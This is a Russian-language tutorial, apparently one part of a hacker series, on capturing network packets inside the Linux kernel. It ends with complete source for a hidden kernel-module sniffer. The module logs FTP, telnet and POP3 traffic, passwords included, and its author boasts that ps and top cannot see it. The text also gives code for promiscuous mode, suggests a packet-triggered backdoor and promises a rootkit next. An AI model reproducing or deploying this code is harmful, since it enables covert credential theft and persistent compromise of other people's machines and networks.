Получение и отправление сетевых пакетов в ядре.
Существует несколько способов посылать и принимать пакеты в ядре. Например, используя возможности встроенного firewall'а. Но лично мне больше нравится метод инсталяции своего packet handler'а (обработчика пакетов). Когда ядро принимает пакет, оно просматривает список обработчиков пакетов и вызывает их, передавая им пакет. Чтобы получать таким образом пакеты нужно написать свою функцию (обработчик пакетов) и "попросить" ядро вызывать эту функцию каждый раз, когда приходит новый пакет. "Попросить" об этом ядро можно функцией dev_add_pack. Функция-обработчик может иметь любое название, возвращать int и должна принимать три аргумента: указатели на структуры sk_buff , net_device и packet_type. Например вот так:
int nethook(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt)
{
//тут, внутри функции, анализируем пакет и делаем нужные дела
//когда закончили, освобождаем пакет функцией kfree_skb
kfree_skb(skb);
return 0;
}
Структура sk_buff описана в /usr/src/linux/include/linux/skbuff.h (и копия в /usr/include/linux/skbuff.h). Структуры net_device и packet_type описаны в /usr/include/linux/include/netdevice.h Функция dev_add_pack также описана в /usr/include/linux/include/netdevice.h.
Функция dev_add_pack принимает один аргумент - указатель на структуру packet_type.
struct packet_type
{
unsigned short type; /* This is really htons(ether_type). */
struct net_device *dev; /* NULL is wildcarded here */
int (*func) (struct sk_buff *, struct net_device *, struct packet_type *);
void *data; /* Private to the packet type */
struct packet_type *next;
};
func - указатель на на нашу функцию, обработчик пакетов (nethook).
dev - указатель на структуру содержащую инфу о сетевом интерфейсе (сетевой карте, модеме, etc). Нашей функции будут передаваться пакеты только с этого интерфейса. Если указатель равен NULL, то нам будут передаваться все пакеты со всех устройств.
type - тип пакетов которые нам будут передаваться: ETH_P_ARP - все ARP пакеты, ETH_P_IP - все IP пакеты, ETH_P_ALL - абсолютно все пакеты, и т.д.
Когда мы хотим получать пакеты, мы просто заполняем переменную типа packet_type и вызываем функцию dev_add_pack, передавая ей указатель на нашу переменную. Например так:
struct packet_type pt;
pt.func = nethook;
pt.dev = NULL;
pt.type = htons(ETH_P_ALL);
dev_add_pack(&pt);
Теперь каждый раз, когда будет появляться новый пакет, будет вызываться наша функция nethook. В ней мы будем анализировать пакет. Например, если пакет послан на порт 21 и содержит данные (установлен push флаг), то это пересылаются команды от пользователя к FTP серверу. В этих данных будет логин и пароль, а также команды на удаление/перемещения файлов и т.д. Записывая эти данные мы получим самый настоящий сниффер. 🙂 Преимущества такого LKM сниффера - невозможно обнаружить с помощью ps/top и т.д. и т.п. и etc. 🙂
Также можно будет удаленно запускать backdoor с помощью специального пакета. Как запускать user-land проги из ядра описывалось в предыдущей части. А вообще, и весь backdoor можно тоже закодить в ядре... 😉
Когда нам надоело слушать пакеты, мы можем вызвать dev_remove_pack(&pt), и тогда ядро перестанет вызывать наш packet handler.
Если ты хочешь сниффить на каком-то конкретном девайсе, то перед тем, как вызывать dev_add_pack, надо сначала проинициализировать структуру содержащую инфу о девайсе с помощью функции dev_get_by_name:
pt.dev = dev_get_by_name("eth0");
Но не забудь вызвать dev_put(pt.dev); когда твой модуль будет выгружаться и когда комп будет выключаться, а то ядро скажет что девайс still in use и не выключится!
Для того, чтобы кинуть девайс в promiscouos mode (прием всех пакетов, даже тех которые не для нас) можешь юзать примерно такой код:
struct ifreq ifr;
struct net_device dev;
char *device = "eth0";
dev = dev_get_by_name(device);
strcpy(ifr.ifr_name, device);
ifr.ifr_flags |= IFF_PROMISC;
dev->do_ioctl(dev, &ifr, SIOCSIFFLAGS);
А вот и пример простенького сниффира в ядре 🙂
/*
Simple Kernel Sniffer by Alekz Under (skleroz@pisem.net)
*/
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/config.h>
// многие из этих инклудов не особо нужны... 🙂
#include <linux/smp_lock.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <linux/net.h>
#include <linux/socket.h>
#include <linux/sockios.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/inet.h>
#include <linux/netdevice.h>
#include <linux/etherdevice.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <net/ip.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <net/route.h>
#include <net/sock.h>
#include <net/arp.h>
#include <net/raw.h>
#include <asm/uaccess.h>
#include <endian.h>
#include <byteswap.h>
// определяем byte order и дефайним ntohs/etc функции
#if __BYTE_ORDER == __BIG_ENDIAN
#define ntohl(x) (x)
#define ntohs(x) (x)
#define htonl(x) (x)
#define htons(x) (x)
#elif __BYTE_ORDER == __LITTLE_ENDIAN
#define ntohl(x) __bswap_32 (x)
#define ntohs(x) __bswap_16 (x)
#define htonl(x) __bswap_32 (x)
#define htons(x) __bswap_16 (x)
#else
#error "error: could not identify byte order."
#endif
int nethook_state = 0;
struct packet_type nethook_pt;
// интересующие нас порты ftp, telnet & pop3. 0 в конце обязательно
int portz[] = { 21, 23, 110, 0 };
// наш packet handler - нос которым мы снифаем 😉
int nethook(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt)
{
int i;
char data[1500];
/*
skb->pkt_type может быть равным:
PACKET_OUTGOING - пакет послан нами в сеть
PACKET_HOST - пакет для нашего компа
PACKET_OTHER - пакет друго компа для другого компа
Стуктура sk_buff довольно сложная и работать с ней нужно аккуратно!
*/
// фильтруем неинтересные пакеты
if(ntohs(skb->protocol) != ETH_P_IP)
goto end; //не IP пакет - не интересно
if(skb->nh.iph->protocol != IPPROTO_TCP)
goto end; //не TCP пакет - не интересно
// устанавливаем правильный указатель на TCP header (заголовок)
skb->h.th = (struct tcphdr *)skb->nh.iph;
(void*)skb->h.th += (skb->nh.iph->ihl << 2);
// интересует ли нас этот порт?
for(i=0; portz[i]; i++)
{
if(ntohs(skb->h.th->dest) == portz[i])
{
// есть ли в пакете payload?
if(skb->h.th->psh)
{
// печатаем на экран и в лог команды юзера, в том числе пароли! 🙂
sprintf(data, "%s", (char*)skb->h.th + skb->h.th->doff * 4);
printk("%s\n", data);
}
goto end;
}
}
end:
kfree_skb(skb);
return 0;
}
void nethook_on(char *device, char promisc)
{
struct net_device * dev = NULL;
if(nethook_state == 0)
{
if(device) { dev = dev_get_by_name(device); }
nethook_pt.type = htons(ETH_P_ALL); /* IP/ARP/ALL/etc */
nethook_pt.func = nethook;
nethook_pt.dev = dev;
dev_add_pack(&nethook_pt);
nethook_state = 1;
}
}
void nethook_off()
{
if(nethook_state == 1)
{
if(nethook_pt.dev) { dev_put(nethook_pt.dev); }
dev_remove_pack(&nethook_pt);
nethook_state = 0;
}
}
int init_module()
{
nethook_on(NULL, 0); //NULL, "eth0", "ppp0", etc...
return 0;
}
void cleanup_module()
{
nethook_off();
}
Компилируем так: gcc sniff.c -c -I /usr/src/linux/include/
Этот сниффер очень простой - печатает данные на консоль и в /var/log/messages, не кладет девайс в promiscouos mode и т.д. Его фильтрующий код можно значительно улучшить. Например, можно добавить некоторые интересные идеи из обычных, уже существующих user-land снифферов. Пароли лучше печатать не на экран, а сохранять в файл с помощью функции write_to_file, которая была показана в предыдущих примерах.
В следующий раз я покажу как собрать все эти фишки в одну и сделать полезный Rootkit.
Если у тебя есть какие-то вопросы - пиши на емыл
skleroz@pisem.net.
Good luck,
Alekz.